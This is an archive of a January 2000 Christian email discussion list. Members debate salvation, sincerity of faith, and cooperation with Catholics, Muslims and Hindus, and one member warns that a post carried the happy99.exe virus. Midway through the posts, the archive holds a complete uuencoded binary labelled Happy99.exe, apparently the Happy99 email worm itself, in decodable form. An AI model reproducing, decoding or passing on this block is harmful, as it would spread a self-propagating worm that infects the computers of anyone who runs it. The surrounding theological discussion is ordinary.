Well, the Bible is clear that no  man comes to the Father except Thru him, so I
wouldn't go that far.   That would be to say that all salvation was,was being
sincere and good.
But within the life of the believer we really can't say who has the mind of
Christ.   It is so easy for us to get so wrapped up in external things that we
miss the things of the heart.  God wants us to yield to Him so that He might
work through us.

Pat
   ----- Original Message -----
   From: Jim Berge
   To: Christian-Ghetto@onelist.com
   Sent: Tuesday, January 18, 2000 9:33 PM
   Subject: Re: [Christian-Ghetto]


   From: Jim Berge <bergewelding@...>

   hershberger wrote:

   > I can't help but feel that when the day of final accounting arrives that
   > there are going to be some real suprises when we understand how the master
   > sees thing.

   Amen!  An example I like to use it this:  Imagine a Native American, who
   faithfully practices his native religion.  He believes there are many spirits
   all around, some good, some evil, but there is one Good Spirit, who causes the
   sun to shine, who sends rain, who causes crops to grow.  It is to this Good
   Spirit that he is thankful when good times come, when the crops are good, or
   when the hunt was successful.  He never hears of Christ, and dies and goes
   to.....heaven?

   Yes, I believe we will be surprised both by who is and who is not in heaven
   when we arrive.


------------------------------------------------------------------------------


   Please click above to support our sponsor


------------------------------------------------------------------------------
   Community email addresses:
     Post message: christianghetto@onelist.com
     Subscribe:    christianghetto-subscribe@onelist.com
     Unsubscribe:  christianghetto-unsubscribe@onelist.com
     List owner:   christianghetto-owner@onelist.com

   Shortcut URL to this page:
     http://www.onelist.com/community/christianghetto

hershberger wrote:

> I can't help but feel that when the day of final accounting arrives that
> there are going to be some real suprises when we understand how the master
> sees thing.

Amen!  An example I like to use it this:  Imagine a Native American, who
faithfully practices his native religion.  He believes there are many spirits
all around, some good, some evil, but there is one Good Spirit, who causes the
sun to shine, who sends rain, who causes crops to grow.  It is to this Good
Spirit that he is thankful when good times come, when the crops are good, or
when the hunt was successful.  He never hears of Christ, and dies and goes
to.....heaven?

Yes, I believe we will be surprised both by who is and who is not in heaven
when we arrive.

I should like to tell you gentlemen about a dear friend of mine. Dick, who
is sixtyfive years plus and is a devout catholic who somehow managed to get
divorced and remarried. He is a Roosevelt Democrat {which Disgusts me.
Thankfully he had the wisdom to cut the cord with slick willie]. He uses an
occasional four-letter word [i've never heard him misuse the name of any
diety]and has a penchant for brandy.He makes most of his daily decisions
with the use of some mysterious inner mechanism that causes him to act on
an emotional whim.I hope you can understand what i mean when i say that he
is the kind of fellow who has navigated life using the seat of his pants.
  There is one very profound aspect of Dick's life however, that cries
loudly above all his faults. He would at any time and to anyone literally
give the shirt off his back. He lives relatively comfortably, but would
probably be better off had he not given so much. Furthermore, in any
situation he feels at ease and makes everyone around him feel the same way.
With Dick there is no distinction between soneone who has been in state
prison and a successful attorney at law. When Dick is talking to you, you
are impressed with the fact that to him, at that moment, you are the most
important person in the world.
  For several years this man puzzled me. I deemed him to be Christlike,but
could not understand his world-view. When observed in light of how i
traditionaly thought a Chistian man was supposed to conduct himself, it
appeared as a conflict of interest. The matter was settled for me one day
though when during a discussion he made the matter-of-fact statement that
it is "Jesus who saves us".

I can't help but feel that when the day of final accounting arrives that
there are going to be some real suprises when we understand how the master
sees thing. Frankly, i hope the revelation comes before then.

Hersh

Jim, I don't know if you have virus scanning software, but if you do I
suggest running it.  I might not be the only one - but I got the happy99.exe
virus as an attachment to this e-mail.  The correct e-mail arrived a minute
later.

~Brian

-----Original Message-----
From: Jim Berge [mailto:bergewelding@...]
Sent: Sunday, January 16, 2000 8:27 PM
Subject: [Christian-Ghetto] Cooperation With Catholics


From: Jim Berge <bergewelding@...>

> My question is this:  Do fundamental Catholics and non-Catholics have a
> common ground?  Should we?  Are evangelicals guilty of a knee-jerk
> reaction when we shout about cooperation with Catholics?  How deeply
> should our "cooperation" run?

Well, if we have just determined by our previous discussion that what we
believe about the specifics of doctine is secondary to devotion to Christ
and loving each other then I think the answer is clear.  I don't know of any
evangelicals who doubt that Mother Teresa was not deeply devoted to Christ
or lacked the ability to love people with a pure godly love.

I would tend to believe and hope (and I think there is evidence of this
happening all ready) that truth will win out in time. Catholicism has
changed in recent years moving more toward beliefs that are more evangelical
in nature. On the other hand I think there are some things evangelicals
could learn from Catholics. Take the Popes view of modern science and
"evolution" for example. He seems to have a better more balanced
understanding of these issues then many evangelical leaders.

I don't see any problem with cooperating with Catholics, even Moslems, and
Hindus for that matter, if our goals are the same.

Now, some less radical sects of Moslems are very moral people and all
Moslems are mono theists. If they are mono theists does not their worldview
share similarities to ours? You could argue that Allah does not have the
same character as Yahwey,  yet why cant we cooperate with them if we share
the same moral or political goals? Hindus on the other hand have a very
different worldview, and are unlikely to share our same values, but if they
do on particular issues why not cooperate with them for the common good?
Such cooperation might break down some walls and help us mix more with them
giving us more opportunities to share Christ.

This kind of leads into another discussion topic. If devotion and sincerity
of faith are more important than belief, where do we draw the line? If
people are sincerely seeking truth but are born into a Hindu culture and
know nothing about Christianity, are they on the path to God if they do all
they know to do in good faith to reach Nirvana?

I for one, and others on this lists as well, were once very rapped up in our
"religion." We held a lot of false ideas about what it meant to be a
Christian and we probably still do. At what point of knowledge does one
become saved? Do we have to have full knowledge of Christ or does God look
at are hearts to determine whether or not we will be saved?

Just some questions I often wrestle with in my own mind that I thought might
be interesting to hear feedback on.

Roy

Amen, Amen, Amen.

I think that we can find in most of the Old Testament analogies as well, that it
wasn't sin that God was dealing with, it was hearts.

Believe me, I am not knocking scholarship or Study, but some of the most
effective Christians I've seen have simply loved people and tried to understand
and show the heart of Christ to the lost.  No magic or eloquent words.  Just
love.

Pat

I've been busy - looks like I'm missing out on a good one!

A conversation I had today after church is particularly applicable
here.  One of many topics I discussed with a new friend of mine is that
God is not interested in our belief system.  The Christian life has
never been about beliefs.  Yeah, of course one's beliefs are part of the
equation, but once an unregenerated person believes in Christ and
becomes a new creature, then that event has become past tense.  Now the
issue is "How are we living our lives?"

God is most interested in the things we do, and the motives which drive
us to do them.  Do we love God with all our heart, soul, strength?  Do
we love our neighbors as ourselves?  Are we accountable to God and
others for our behavior?  Are we (the primary goal of salvation and
sanctification) becoming more like Jesus Christ?  Have we humbly
submitted every aspect of our lives to Christ to prune or reward as he
sees fit?  If we can answer yes to all of these questions, then the
relevance of the Christian faith to outsiders goes off the scale.  Why?
Because Jesus was relevant.  When he walked this earth, the crowds
hounded him constantly.  He was relevant to the unsaved because he had
no agenda, did not preach conspiracy theories, did not worry about Y0K
(not a typo), did not freak out over the various political issues of his
day.  His message was "Love God, love others."

The "indivualism" thing is bittersweet:  we think it is a good thing to
have the ability to freely express ourselves, to enjoy capitalism and
democracy, but we must stand back and look - after a measly 4 or 5
generations, where it has led us.  Am I knocking America or democracy?
No, I believe God has accomplished a lot through our vision and our
resources.  But the very thing that has provided security and prosperity
for us is the very thing that has strangled us:  "It is easier for a
camel to pass through the eye of a needle than for a rich man to enter
the  kingdom of heaven."  This is at the root of our pre-occupation with
ourselves, which has made us irrelevant to the world.

Christians, alas, have not been immune to the prosperity.  Along with
the rest of society, we have naturally adopted the same goals.  One of
you hit the nail on the head stating that we are far more worried about
whether our bank accounts will survive Y2K than whether thousands of
Christians are being slaughtered for their faith.  Who cares what my
believe system consists of?  Who cares if I'm calvinist or armenian, or
whether I believe in evolution or whether I believe in the Trinity?  Do
I love Christ, am I serving him, am I a servant to others, am I sharing
the good news of Christ with others?

Wow, what a rambling message!

Before I dive into the "New Topic" thread, I want to throw another one
into the pot to confuse everyone.  Just finished Chuck Colson's "How Now
Shall We Live?"  Highly recommended, one of the best books I've read in
a long time.

In the book, he briefly mentioned something that got him into hot water
with evangelicals a while back, and that's his opinions on how Catholics
and evangelicals can get along - what we have in common, etc.  The book
is about world views, and how the Christian world view is the only one
which is workable, logical, and can explain the condition of humanity.
In making this claim, he states that Catholics, since their worldview is
also based on a Holy Creator God, have a lot in common with the rest of
Christendom, and that we all ought to standing together on issues which
pit our world view against the naturalistic, humanistic, relativistic
worldview so prevalent today.

Colson admits we have huge doctrinal differences, but claims this should
not prevent us from a certain type of "ecumenism" (my word, not his)
which would team us up against the opposing worldview.  As I said, his
friendliness with the Catholics got him in trouble a while back.  My
question is this:  Do fundamental Catholics and non-Catholics have a
common ground?  Should we?  Are evangelicals guilty of a knee-jerk
reaction when we shout about cooperation with Catholics?  How deeply
should our "cooperation" run?

begin 644 Happy99.exe
M35I0``(````$``\`__\``+@`````````0``:````````````````````````
M``````````````````````$``+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
M86T@;75S="!B92!R=6X@=6YD97(@5VEN,S(-"B0W````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````````````````````````%!%``!,`00`GR77C@``
M````````X`".@0L!`AD`"@```!8```````````$````!`````@```$`````!
M```"```!``````````,`"@`````````%```$`````````@``````$```(```
M```0```0````````$``````````````````#`$`#````````````````````
M``````````````````0`:`$`````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````0T]$10``````$``````!```*````!@``````````````````
M(```8$1!5$$``````!```````@``$````!```````````````````$```,`N
M:61A=&$````0``````,```0````@``````````````````!```#`+G)E;&]C
M````$``````$```"````)```````````````````0```4```````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
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
M@_@`#X0!`0``N0`0``"+->L.0@!15E^#QQ2+1@BKBT8,JX$&`!```*T!1@2M
M`48$K<'X$(O0K<'X$(O8K8/X`'4%@\8(ZTF`;OP!<P3&1OP`@&[]`7,$QD;]
M`(!N_@%S!,9&_@!64%)3_S5C#T(`Z/8!``!>K<'X$(O0K<'X$%9J`%)0_S5C
M#T(`Z-L!``!>@\8$64D/A7G_____!5,/0@#I-/___X,]-P]"`!)T%K@S#T(`
M4%#HJ0$``.B&`0``Z17_____-6,/0@#_-8(/0@#H4@$``,<%B@]"`/_____I
M/_[__UBCA@]"`(-\)`0"=0MJ`.@[`0``,\#K!>A*`0``BPV&#T(`4<.A3P]"
M`(/@#Z-/#T(`P>`-BSWK#D(``_BY``$``.AF````P>@(HUL/0@#H60```,'H
M"*-7#T(`Z$P```#!Z`@-#P^O`(O8Z#T```#!Z`^)!XE/!-M'!-G^V@_;1P39
M_]H/VQ_;7P2#QPBA5P]"`*NA6P]"`*N+PZN#QPSBR?\%3P]"`.EW_O__N!-`
M(0#W+5\/0@`KT@41$%,"HU\/0@##_R5D`$,`_R5H`$,`_R5L`$,`_R5P`$,`
M_R5T`$,`_R5X`$,`_R5\`$,`_R6``$,`_R6$`$,`_R6(`$,`_R6,`$,`_R60
M`$,`_R64`$,`_R68`$,`_R6<`$,`_R6@`$,`_R6D`$,`_R6H`$,`_R6P`$,`
M_R6T`$,`_R6X`$,`_R7``$,`_R7$`$,`_R7(`$,`_R7,`$,`_R70`$,`_R74
M`$,`_R78`$,`_R7<`$,`_R7@`$,`_R7D`$,`_R7H`$,`_R7P`$,`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`+*EK__]____^__P_P``__]'_________[__Y?]:15)/"````/_^__]%[__Q
MX$OV,MY'_K,RWF]OJY>6C-^/C9"8C9Z2WY**C(O?G9K?C8J1WXJ1FYJ-WZB6
MD<S-\O7;R%I%4D\B````K[K__[/^^O]@VBIQ6D523P(````?_W%>]/[]YO_U
M____]____________O____[____]____O_____[___W___[__________/_U
M__________G___O________]____6D523P(```#__^___^_________O____
M___[_Z________S_D_[__UI%4D\&````___Z_Q/___]:15)/%````+RPN[K_
M_____^_______O__]?____G__UI%4D\#````W___G[N^J[[______^______
M_?___?___^___UI%4D\#````O___/]&6FYZ+GO___^_______/___?___^W_
M_UI%4D\#````O___/]&:FYZ+GO___^______^____?___^O__UI%4D\#````
MO___O]&-FI.0G/___^______^O___?___^G__UI%4D\#````O___KUI%4D_0
M````?(/;]_^+LGR#V_?^B_T4L$'#_[W_J:!&RO___U,)+U4=!9?_W___E;\7
M9_?__WH_BOO,/Q310&;_O?]4^D?T__]4^D?T__]4^A?\__]4?#^;5!3T`,IF
M_[W_%Y+W__]'_O___SWS_Q>4^O__?`:;\'AU____=/S:("`@(,*ROK:SBLUT
MO/O:`"`@(,+?N:VPBMR9=+SWF=H@`)G"LL6*ZG0,=,)>_[W_=O+__[W_#%L6
M@/[__W3\VB`@("#"K;ROJXK(=+S[V@`@(`#"WZNPQ8K7%T_X__]V\OO_O?\7
M(O[__WP'__![MO[__SCZ:O^]_P`````6SO[__Q;*_O__%\'\__]\!__P>MC^
M__]TRF+_O?^94IG"___P>^K^__]\PFK_O?__\'H*____%U#[__]>?O^]_W3B
M9O^]_Q>6^___?`<`\'L/____%T_[__]'^O___T3E_[W_%[/[__]\!P#P>RS_
M__\7!_G__\+-RL_?\'H\____1_G___]$]_^]_Q?;^___?`<`\'M4____%R_Y
M___"S<K/W_!Z9/___U[__[W_=.)>_[W_%P3\__]\!P#P>WW___\76/G__\+-
MRL_?BHETRF+_O?]TZE[_O?]\%<W,-G014[[$#8BBP_^+W\/UB@UT/G0B%T/\
M__]\!P"+N!>3^?__PLW*S]^*Q!0M1_G___]$\?^]_Q=E_/__?`<`B]H7M?G_
M_\+,RLO?BN8X^FK_O?______=,)B_[W_S#]41_[___\\1[*RLK(\%VW\__]\
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
M4VMA+F5X90!<;&ES=&4N<VMA`/___UI%4D]F````@__\_\/__/]:15)/`P``
M`'?__/^W__S_6D523P4```!I__S_8?_\______]/__S_.?_\_R/__/\5__S_
M"?_\__W^_/_M_OS_V_[\_\G^_/^]_OS_K_[\_Z'^_/______J*RPO+3,S=&;
MDY/_M+JML;JSS,W1FY.3_____XV:G(G_____J*R^N)J+LYZ,B[J-C9"-____
MO(V:GHN:N9:3FK*>CX^6D9B^_____[B:BZR&C(N:DKN6C9J<BY"-AK[___^S
MD)R>D[Z3DY"<_____[.0G)Z3N8V:FO___ZV:GINYEI.:_____[*>CZF6FHBP
MF;F6DYK___^LFHNYEI.:KY"6D8N:C?____^JD9*>CZF6FHBPF;F6DYK___^H
MC9:+FKF6DYK___^XFHNYEI.:K):%FO___[R-FIZ+FKF6DYJ^____O).0C)JW
MGI&;DYK_6D523R@```##__O__O____W____]____U__[_\__^__'__O_F/_^
M_[_]_O^Y__O_M/_[_____O^2GIN3D]&[L[/_DIZ6D_^1FHB,_UI%4D]L````
M___^_Q/____NS\C/J<];SU7/)L\2S_#.WL[-SL?.JLZ"SE_.6<XYSC/.^,W<
MS=+-I<V?S8;-9LTYS2?-(LT<S1;-]\SES,S,Q<RZS+3,H<R5S'C,9LQ3S$O,
M'<P'S/_+\LOGR]7+RLM^RFO*3<I'RAG*!<KKR>/)T<G,R<;)P,FAR8_)BLF$
MR7+)8LE0R4+),,DKR27)%\D$R?[(^,COR&S(6LA#R#C(*<@CR!K("L@$R/['
M^,?MQ^3'SL?&Q[O'L,>EQY7'C\=_QW7'3\=)QT/'/<<WQS''*\<EQQ_'&<<3
MQPW'!\<!QUI%4D]&`@``14Y$(`"VC-^6B]^>WXF6C8J,T]^>WXB0C9+3WY[?
MBXV0E9Z1P-^RL*JKTK*PJJO?MX:=C9:;W]><UM^LCYZ1C)2>W\[&QL;1_Z.(
MC)"<E,S-T9N3D_^CK)2>T9N3D_^CK)2>T9J'FO^LD)F+B)Z-FJ.REIR-D(R0
MF8NCJ):1FY"(C*.\BHV-FI&+J9J-C):0D:.MBI&PD9R:_P``````````````
M````````````````````````````````````````````````````````````
M``````````````````````````!+15).14PS,BYD;&P`3&]A9$QI8G)A<GE!
M`$9R965,:6)R87)Y`$=E=%!R;V-!9&1R97-S````````````````````````
M`````````````````````````````````````T``````````````````````
M``````````````<`````````````````````````````````````````````
M````````````````````````````$;NJ_P````!(87!P>2!.97<@665A<B`Q
M.3DY("$A````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````#X``,`9``#``````````````````4!`P"P``,`````
M````````````$@$#`,```P`````````````````=`0,`\``#````````````
M````````````````*`$#`#0!`P!&`0,`7@$#`'(!`P!^`0,`D`$#`)X!`P"L
M`0,`P@$#`-`!`P#F`0,`]@$#``P"`P`:`@,`*`(#`#0"`P!$`@,``````%`"
M`P!B`@,`=`(#``````""`@,`C@(#`*`"`P"R`@,`P@(#`,H"`P#>`@,`\`(#
M``(#`P`0`P,`(`,#```````T`P,``````$M%4DY%3#,R+F1L;`!!1%9!4$DS
M,BYD;&P`55-%4C,R+F1L;`!'1$DS,BYD;&P`````5W)I=&5&:6QE````56YM
M87!6:65W3V9&:6QE````1V5T5VEN9&]W<T1I<F5C=&]R>4$`````1V5T36]D
M=6QE2&%N9&QE00````!#;W!Y1FEL94$```!'9710<F]C061D<F5S<P````!%
M>&ET4')O8V5S<P```$=E=$9I;&53:7IE````1V5T36]D=6QE1FEL94YA;65!
M`````$QO8V%L06QL;V,`````0W)E871E1FEL94UA<'!I;F=!`````$=E=%9E
M<G-I;VY%>$$```!'9713>7-T96U$:7)E8W1O<GE!````0W)E871E1FEL94$`
M``!#;&]S94AA;F1L90```$QO8V%L1G)E90```$UA<%9I97=/9D9I;&4```!2
M96%D1FEL90````!296=3971686QU945X00````!296=#<F5A=&5+97E%>$$`
M``!296=#;&]S94ME>0```%)E;&5A<V5$0P```%)E9VES=&5R0VQA<W-!````
M`%!O<W11=6ET365S<V%G90```%!E96M-97-S86=E00````!'971$0P```$1I
M<W!A=&-H365S<V%G94$`````1&5F5VEN9&]W4')O8T$`````0W)E871E5VEN
M9&]W17A!````4VAO=U=I;F1O=P````!5<&1A=&57:6YD;W<`````5')A;G-L
M871E365S<V%G90````!39710:7AE;%8`````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M```````````````````````````````````````````````````!`&@!```6
M,$8P7C!P,'LPD#"B,*LPL3"W,,8PS##6,-PP`3$',0PQ$C$8,38Q2#%/,54Q
M6S%A,7,Q>3%_,8PQDC&8,:LQL3'-,=TQXC'P,04R$C(=,BTR.S)-,EHR;#*;
M,J4RKC*X,L8R\C(.,RXS-C-#,THS4#-9,X`SAC.2,Y@SM3/5,^0S\#/U,_LS
M!C0;-"HT-C0[-$$T3#19-&4T=S1\-((TE#29-)\TL32V-+PTSC34--HTMC7!
M-<DUTC77->(U[S7\-0<V$C8=-B@V9#8S-DXV6C9?-FDV;S9S-G@VAC:@-J4V
ML#:X-L,VSC;8-N0V]C;^-A(W;3>(-Y\WJC>R-\DWSS?:-^DW!C@-.!4X'C@R
M.#\X=CA\.(LXFSBG.*XXM#BZ.,`XQCC,.-(XV#C>..0XZCCP./8X_#@".0@Y
M#CD4.1HY(#DF.2PY,CDX.3XY1#E*.5`Y5CE<.6(Y:#EN.0``````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
*````````````````
`
end

Pat makes an excellent point. If i cannot be open and forthcoming with my
brother, how can i be an open book to my unsaved neighbor? Maybe if i learn
and practice the virtues of honor and trust with the brethern, i will
become more honorable and trustwothy to those in the world who would be
saved.

hersh

----- Original Message -----
   From: hershberger

   "From: hershberger <hersh@...>


   Having vented i am led to comment on what i see as one of the great
   travesties of modern evangelicalism. If a man is given to smoke or drink,
   he is a scoundrel. If a woman is divorced or an unwed mother, she is of
   questionable character. [ i'm talking about people in the church.] A person
who abstains from all such behavior, but is sucsessful yet ruthless in the way
he conducts his business or his ministry is lauded as a dilligent man whose
behavior can be overlooked because of his devotion to God. "

   But this is the summary of where one of the major problems is in the church
today.  Christians have been said to be one of the only armies that shoot their
wounded....

   Somehow we think that if we can control all the little aspects in the church,
we will become holier.  Unfortunately, we saw how the law worked in the OT.  It
didn't control or stop sin, it just showed how useless we are.

   One of the problems is attacking actions instead of healing hearts.  If sin is
from the flesh and heart, then it stands to reason that a genuine spiritual life
will have an awakening in action.   The basis of sin needs to be examined.  We
can only do that through a servants attitute or confessing and repenting and
helping each other.  Not through being judges (granted, there is a place for
that but that is not the subject here)

   For example, a good many social problems are approached from a band aid
